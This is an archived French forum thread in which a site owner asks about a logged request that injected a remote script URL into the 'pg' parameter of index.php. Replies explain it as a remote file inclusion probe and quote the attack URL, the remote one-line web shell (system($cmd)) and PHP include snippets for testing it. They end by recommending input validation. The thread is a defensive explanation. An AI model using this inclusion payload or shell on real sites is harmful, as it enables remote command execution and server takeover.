OVH Cloud OVH Cloud

Tentative de quoi ?

46 réponses
Avatar
VarioFlux
Bonjour,

Notre site est accessible grace à l'url : http://www.XXXX.fr/index.php
et le texte des pages change avec une variable en ajoutant ?pg=YYYY.
Jusque là c'est banal.

Je vois cette nuit que quelqu'un est venu faire :
http://www.XXXX.fr/index.php?pg=http://www.dpalone.hpg.com.br/cmd.php?&cmd=uname%20-a

J'en déduis que la bébette au bout du 207.44.154.XX à 02:39:43 voulait
faire quelque chose, mais quoi ?

Merci

10 réponses

1 2 3 4 5
Avatar
Thibaut Allender

Je vois cette nuit que quelqu'un est venu faire :
http://www.XXXX.fr/index.php?pg=http://www.dpalone.hpg.com.br/cmd.php?&cmd=uname%20-a


J'en déduis que la bébette au bout du 207.44.154.XX à 02:39:43 voulait
faire quelque chose, mais quoi ?


c'est simple

va a cette adresse :
http://www.dpalone.hpg.ig.com.br/cmd.php?&cmd=uname%2520-a

tu vois que s'affiche

<?
system($cmd);
?>

en essayant de passer cette url en parametre, le "hacker" voulait tester
si "pg" dirigeait vers un include
au quel cas, l'include se fait alors a distance, et execute la commande
uname -a, qui sous unix sort la versions complete du systeme utilisé

si ca fonctionne, on peut alors lancer n'importe quelle commande, le
tout quand meme en restant sous le user du daemon http... ce qui est
quand meme assez restrictif (et qui peut encore etre plus restrictif si
on est en safe_mode au niveau de php par exemple)


--
freelance + web|system developer|designer
+ 32 496 26 75 76 + http://www.capsule.org

Avatar
Patrick
va a cette adresse :
http://www.dpalone.hpg.ig.com.br/cmd.php?&cmd=uname%2520-a

tu vois que s'affiche

<?
system($cmd);
?>


Ce qui en soit prouve qu'il y a un problème sur ce serveur, vu que le
code PHP n'est pas exécuté :-) !

si ca fonctionne, on peut alors lancer n'importe quelle commande, le
tout quand meme en restant sous le user du daemon http... ce qui est


Avec les deux dernières failles dans les noyaux linux, un compte non
privilégié pouvait potentiellement passer root...

Patrick.

Avatar
Thibaut Allender

Ce qui en soit prouve qu'il y a un problème sur ce serveur, vu que le
code PHP n'est pas exécuté :-) !


non, le script doit simplement ressembler a ca :

<?php
print "<?nsystem($cmd);n?>";
?>

Avec les deux dernières failles dans les noyaux linux, un compte non
privilégié pouvait potentiellement passer root...


cqfd, d'ou la necessité de sortir le uname avant (qui donne la version
du kernel utilisé)

--
freelance + web|system developer|designer
+ 32 496 26 75 76 + http://www.capsule.org

Avatar
Patrick
Ce qui en soit prouve qu'il y a un problème sur ce serveur, vu que le
code PHP n'est pas exécuté :-) !


non, le script doit simplement ressembler a ca :

<?php
print "<?nsystem($cmd);n?>";
?>


Quel intérêt (de faire un print) ?

Si le index.php du site attaqué fait un include de ce script, le print va
pas permettre d'attaquer quoi que ce soit...

Patrick.


Avatar
Davel_x
Le 26/02/2004 13:17 :
Ce qui en soit prouve qu'il y a un problème sur ce serveur, vu que le
code PHP n'est pas exécuté :-) !


non, le script doit simplement ressembler a ca :

<?php
print "<?nsystem($cmd);n?>";
?>



Quel intérêt (de faire un print) ?

Si le index.php du site attaqué fait un include de ce script, le print va
pas permettre d'attaquer quoi que ce soit...


le print va permettre d'afficher la commande voulue après que le code
php ait été parsé par le serveur distant (donc pas celui qui est attaqué).
L'affichage des informations via ce script inclu "abusivement" va
permettre de savoir quel type d'attaque faire si la version des
logiciels ou de l'os du serveur comportent des failles.

--
**davel**
http://www.lerpg.com



Avatar
Patrick
attaqué). L'affichage des informations via ce script inclu "abusivement"
va permettre de savoir quel type d'attaque faire si la version des
logiciels ou de l'os du serveur comportent des failles.


Merci ca je sais très bien, mais relisez ce qui précède: avec ce print,
le system() n'est *pas* exécuté sur le serveur attaqué. Donc attaque
point il n'y a.

Patrick.

Avatar
Davel_x
Le 26/02/2004 13:36 :

attaqué). L'affichage des informations via ce script inclu "abusivement"
va permettre de savoir quel type d'attaque faire si la version des
logiciels ou de l'os du serveur comportent des failles.



Merci ca je sais très bien, mais relisez ce qui précède: avec ce print,
le system() n'est *pas* exécuté sur le serveur attaqué. Donc attaque
point il n'y a.



bah si justement, c'est sur le serveur distant qu'il n'est pas exécuté
mais il l'est bel et bien sur le serveur attaqué.. ou alors j'ai rien
capté à tout ce qui me paraissait clair y'a 5 minutes ^___^

--
**davel**
http://www.lerpg.com


Avatar
Patrick
Merci ca je sais très bien, mais relisez ce qui précède: avec ce print,
le system() n'est *pas* exécuté sur le serveur attaqué. Donc attaque
point il n'y a.



bah si justement, c'est sur le serveur distant qu'il n'est pas exécuté
mais il l'est bel et bien sur le serveur attaqué.. ou alors j'ai rien
capté à tout ce qui me paraissait clair y'a 5 minutes ^___^


Faites le test vous-même vous verrez bien.
Mettez:
<?php

include 'http://www.dpalone.hpg.ig.com.br/cmd.php?&cmd=uname%2520-a';

?>

quelque part chez vous, regardez la page et vous verrez manifiquement....
rien du tout !

Par contre faites une autre page avec dedans
<?php

system('uname -a');

?>

(pas de $cmd car chez moi pas de register_globals)

et dans une autre:
<?php

include 'http://url de l'autre page';

?>

Et là, oh magie, ca s'affiche !

Patrick.


Avatar
Stanislas Renan
VarioFlux wrote:
Je vois cette nuit que quelqu'un est venu faire :

http://www.XXXX.fr/index.php?pg=http://www.dpalone.hpg.com.br/cmd.php?&cmd=uname%20-a


J'en déduis que la bébette au bout du 207.44.154.XX à 02:39:43 voulait
faire quelque chose, mais quoi ?
exécuter un script distant pour connaître ton système.

Le script de la page en paramètre est

<?
system($cmd);
?>

et cmd est passé en paramètre.
C'est codé à la goret, ça ne passerait pas sur beaucoup
d'interpréteurs PHP (tags réduits autorisés et safe mode off
pour le moins).
Je n'ai pas testé pour voir si le double "?" pose problème,
je ne sais plus si on a le droit d'écrire ça, ni comment ça
pourrait être interprété.

Admettons que ça passe, et que ton index.php inclue la
page passée en paramètre par pg, alors pourrait s'afficher
le résultat de la commande "uname -a" qui est par exemple :

Linux charly 2.4.23 #2 SMP jeu jan 8 18:50:43 CET 2004 i686 unknown

Ton paramètre pg doit être vérifié avant tout traitement.
De toute façon, on doit *systématiquement* vérifier *toutes*
les entrées.

C'est plus un problème de développement que d'hébergement
=> à suivre sur fr.comp.infosystemes.www.auteurs.

--
Stanislas Renan
http://www.volcane.fr/

Avatar
Davel_x
Le 26/02/2004 13:48 :

Et là, oh magie, ca s'affiche !


Dans ce cas je n'ai rien dit :) désolé ^___^

--
**davel**
http://www.lerpg.com

1 2 3 4 5